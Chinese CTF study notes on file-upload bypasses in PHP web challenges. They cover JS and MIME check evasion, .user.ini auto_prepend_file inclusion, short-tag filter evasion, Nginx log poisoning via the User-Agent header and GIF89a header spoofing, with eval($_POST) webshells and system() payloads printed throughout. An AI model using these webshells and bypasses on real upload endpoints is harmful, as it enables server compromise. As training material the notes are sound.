小迪安全31WEB 攻防-通用漏洞&文件上传&js 验证&mime&user.ini&语言特性

#知识点:

1、文件上传-前端验证

2、文件上传-黑白名单

3、文件上传-user.ini 妙用

4、文件上传-PHP 语言特性

#详细点:

  1. 检测层面:前端,后端等

2、检测内容:文件头,完整性,二次渲染等

3、检测后缀:黑名单,白名单,MIME 检测(文件类型后缀)等

4、绕过技巧:多后缀解析(PHP5),截断,中间件特性,条件竞争等

#本章课程内容:

1、文件上传-CTF 赛题知识点 

2、文件上传-中间件解析&编辑器安全

3、文件上传-实例 CMS 文件上传安全分析

#前置:

后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)

如:jpg 图片里面有 php 后门代码,不能被触发,所以连接不上后门

文件上传-CTF 赛题知识点

151 152-JS 验证+MIME

Content-Type: image/png

通过源代码查看,得知此验证为前端验证

通过前端更改对应参数,发现成功上传.gif

因此以JS验证为注入点,修改白名单为.php传入后门

<?php eval($_POST[x]);?>

用工具或者利用POST传递参数(system(‘’)),对其进行获取flag

152.

MIME验证:会根据文件的后缀,去判断文件的类型从而进行验证——后端代码

将其C-T参数更改,上传成功

153-JS 验证+user.ini

参考:https://www.cnblogs.com/NineOne/p/14033391.html

.user.ini                          auto_prepend_file=test.png

test.png<?php eval($_POST[x]);?>

与.htaccess绕过类型,只不过.user.ini适用于php语言,而.htaccess绕过适应于Apache

思路:

首先.user.ini 是一个自定义的php.ini配置文件,一般在任何一个与php相关的网页都会存在此配置,是一个能被动态加载的ini文件,通过在主目录中创建.user.ini 文件,并在其中定义特定的 PHP 配置选项,用户可以对其网站或应用程序的 PHP 环境进行个性化设置auto_prepend_file=test.png 相当将一个文件包含,这里我们就可以放payload进去,将图片马传上去,再访问index.php,注意是上传目录下的index.php,执行任意命令即可

解释“前置”:可以利用漏洞或错误配置来绕过文件格式限制。这可能会使得一些解析器错误地将图片文件识别为脚本文件,从而导致恶意代码的执行。

再加入后台文件

154 155-JS 验证+user.ini+短标签

当在图片中输入后门,发现不行时,那可推断此时为内容检测

得知它将<?php进行限制:

1.<? echo '123';?> //前提是开启配置参数 short_open_tags=on

2.<?=(表达式)?> //不需要开启参数设置

3.<% echo '123';%> //前提是开启配置参数 asp_tags=on

4.<script language=”php”>echo '1'; </script> //不需要修改参数开关

155.

.user.iniauto_prepend_file=test.png

test.png<?=eval($_POST[x]);?>

与上两题结合即可,利用.user.ini,去触发1.png,1.png中还需内容过滤

156 JS 验证+user.ini+短标签+过滤 :同理

.user.iniauto_prepend_file=test.png

test.png<?=eval($_POST{x});?>

157 158 159 JS 验证+user.ini+短标签+过滤

使用反引号运算符的效果与函数 shell_exec()相同

.user.iniauto_prepend_file=test.png

发现它的过滤是将分号和php过滤

test.png<?=system('tac ../fl*')?>

test.png<?='tac ../fl*'?> ——反引号

test.png<? echo `tac /var/www/html/f*`?>

160 JS 验证+user.ini+短标签+过滤

包含默认日志,日志记录 UA 头,UA 头写后门代码

日志文件:记录访问的地址和访问的信息和访问的UA头,我们将UA头改为payload,UA头流入日志文件中,再利用/user.ini去包含日志文件,去触发UA头中的payload

日志文件是根据中间件去决定:此时分析数据包得知是Nginx

.user.iniauto_prepend_file=test.png

test.png<?=include"/var/lo"."g/nginx/access.lo"."g"?>

做了.user.ini文件配置之后,访问upload的情况——包含了日志文件,故显示出日志文件的内容

此时我们只要对其网页进行访问,日志文件就会记录我们的访问信息

通过抓包对参数进行修改得知,上传成功

161 JS 验证+user.ini+短标签+过滤+文件头

文件头部检测是否为图片格式文件

.user.iniGIF89A auto_prepend_file=test.png

test.pngGIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>——做了过滤处理

前端验证文件内容头部信息

.jpg的文件头

.gif的文件头部

.png的文件头部

  • 16
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值